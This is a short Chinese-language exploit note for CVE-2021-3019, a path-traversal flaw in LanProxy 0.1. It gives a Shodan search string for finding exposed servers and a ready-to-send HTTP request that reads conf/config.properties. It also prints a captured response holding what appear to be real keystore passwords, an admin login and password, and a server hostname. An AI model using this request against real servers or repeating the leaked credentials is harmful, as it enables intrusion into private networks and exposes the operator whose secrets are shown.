[CVE-2021-3019] LanProxy 目录遍历
Lanproxy 是一种内网穿透工具,可将局域网个人电脑和服务器代理到公网。
它支持 TCP 流量转发,并支持任何 TCP 上层协议(访问内网网站、本地支付接口调试、SSH 访问、
远程桌面等)。LanProxy 0.1 版本存在路径遍历漏洞,可能导致读取 conf/config.properties 以获取内网连接凭据。
Shodan 搜索:"Server: LPS-0.1"
读取配置文件
GET /../conf/config.properties HTTP/1.1
Host: vulnerablehost:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Server: LPS-0.1
server.bind=0.0.0.0
#与代理客户端通信端口
#这个端口是指客户端连接时对应的端口
server.port=4900
#ssl相关配置
server.ssl.enable=true
server.ssl.bind=0.0.0.0
server.ssl.port=4993
server.ssl.jksPath=usa.nat.candycloud.xyz
server.ssl.keyStorePassword=j5740NtBDCdH1ay
server.ssl.keyManagerPassword=j5740NtBDCdH1ay
#这个配置可以忽略
server.ssl.needsClientAuth=false
#WEB在线配置管理相关信息
#服务端ip地址一般不用修改默认就好
config.server.bind=0.0.0.0
#后台控制面板端口(安全组放行端口)
config.server.port=8090
#后台控制面板账号密码
config.admin.username=admin
config.admin.password=Twx7x03hCBbmwtr
